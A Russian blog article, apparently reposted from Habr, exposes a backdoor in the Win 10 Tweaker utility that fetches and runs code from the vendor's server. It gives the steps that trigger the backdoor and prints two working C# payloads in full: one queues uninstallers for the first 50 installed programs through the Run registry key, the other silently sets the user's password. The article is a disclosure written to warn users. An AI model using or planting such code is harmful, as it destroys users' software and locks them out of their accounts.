
Для неподготовленных юзеров, которые сталкиваются с Windows, настройки ОС иногда становятся настоящим темным лесом. Эту достаточно узкую нишу охватывают разработчики всевозможных твикеров, один из который в своих подходах к защите своей программы пошел самым радикальным способом. Сегодня мы немножко препарируем один самых известных таких продуктов — Win 10 Tweaker и посмотрим, какой «сюрприз» спрятал внутри его создатель.
Решил оформить небольшой материал с доказательствами того, как с недавних пор (примерно с осени 2020 года) в Win 10 Tweaker в целях борьбы со взломом программы был интегрирован самый обычный бэкдор, в особых обстоятельствах получающий зловредный код с ресурса https://win10tweaker.com/PrivilegeUser.php?key=Universal.
Не будем обсуждать личность автора и его отношение к пользователям, а также то, что он творит на своем форуме, а поговорим о том, что нам поведал сниффер трафика Win 10 Tweaker, у которого на момент написания статьи, судя по счётчику на сайте, больше 1 400 000 скачиваний.
-
Скачиваем с сайта последнюю версию программы. Сейчас скачивается версия 17.2, SHA-256: 06DB5801D37895C75B7D60FA5971827DA80CC275D9E78E5986A120C003021A0D;
-
Выяснилось, что, чтобы вызвать скачивания удаленного кода, надо просто создать в %LOCALAPPDATA% папку Turbo.net, а внутри — просто пустой файл System.Deps.dll;
-
Запускаем Win 10 Tweaker и принимаем правой кнопкой соглашение;
-
Хватит лишь открытия раздела «Системная информация», где можно получить сведения о характеристиках ПК;
-
Сразу с ресурса, указанного выше, через бэкдор в открытом виде скачивается и исполняется код, написанный на C#, который прописывает в реестре в раздел автозагрузки для всех пользователей ключи на удаление первых 50 установленных программ. При первом выходе/входе из учетной записи или перезагрузке эти программы запустят свои деинсталляторы.
using System; using System.Collections.Generic; using Microsoft.Win32; using System.IO; namespace N { class C { public void M() { string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\AppData\\Local\\Turbo.net"; if (Directory.Exists(path)) { string[] files = Directory.GetFiles(path, "*.*", SearchOption.AllDirectories); foreach(string file in files) { if (file.Contains("System.Deps.dll")) { List list = new List(); using(RegistryKey key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall")) { foreach(string k in key.GetSubKeyNames()) { if (key.OpenSubKey(k).GetValue("UninstallString") != null) { list.Add(key.OpenSubKey(k).GetValue("UninstallString").ToString()); } } } for (int i = 0; i < 50; i++) { RegistryKey key = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); key.SetValue(i.ToString(), list[i]); } } } } } } }
Разберем по-быстрому код.
-
Берется путь профиля и присобачивается к нему «\\AppData\\Local\\Turbo.net»;
-
Если имеется папка Turbo.net, то по маске *.* рекурсивно ищется файл System.Deps.dll;
-
Если такой на вашу беду находится, то получаем значения ключей UninstallString в разделе HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall. В этом параметре хранится команда для деинсталляции программ. Собственно, именно эта команда запускается, когда вы удаляет в Windows любую программу, если ее деинсталлятор прописывается в системе.
-
Сохраняем полученные строки и записываем первые 50 команд на удаление в автозагрузку для всех пользователей. Отныне при первой перезагрузке запустят свои деинсталляторы те программы, у которых есть свойство UninstallString.
Сохраненная ссылка на Wayback Machine, если «чудотворным» образом ресурс будет недоступен. Кстати, тот же зловредный код расположен и на домене https://win10tweaker.ru/PrivilegeUser.php?key=Universal.
Скажите спасибо, что не в тихом режиме все удаляется, и окошки с уведомлением об удалении будут видны в любом случае.
Осенью же на этом ресурсе располагался другой код, устанавливающий пароль на учетную запись. Пароль, как нетрудно догадаться, глядя на код, был Rock5taR. То есть ресурс один, а зловредный код иногда да и меняется.
using System; using System.Diagnostics; using System.IO; namespace N { class C { public void M() { string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\AppData\\Local\\Turbo.net"; if (Directory.Exists(path)) { string[] files = Directory.GetFiles(path, "*.*", SearchOption.AllDirectories); foreach (string file in files) { if (file.Contains("System.Deps.dll")) { Process.Start(new ProcessStartInfo { FileName = "cmd", Arguments = "/c net user " + "\"" + Environment.UserName + "\"" + " Rock5taR", WindowStyle = ProcessWindowStyle.Hidden }); } } } } } }
Также автор заявляет о портативности программы, что на самом деле не так: чего только стоит создание неудаляемого ключа в реестре по пути HKCU\Software\Win 10 Tweaker, так как программа меняет права доступа на этот раздел.
Видео с одним из вариантов, как удалить ключ.
Остается тайной, зачем автор в борьбе с пиратами, беря за программу в том числе и плату, интегрировал туда самый обычный бэкдор. И кто знает, что еще она в себе таит… Выводы, как всегда, делать только вам.
ссылка на оригинал статьи https://habr.com/ru/post/557388/
Добавить комментарий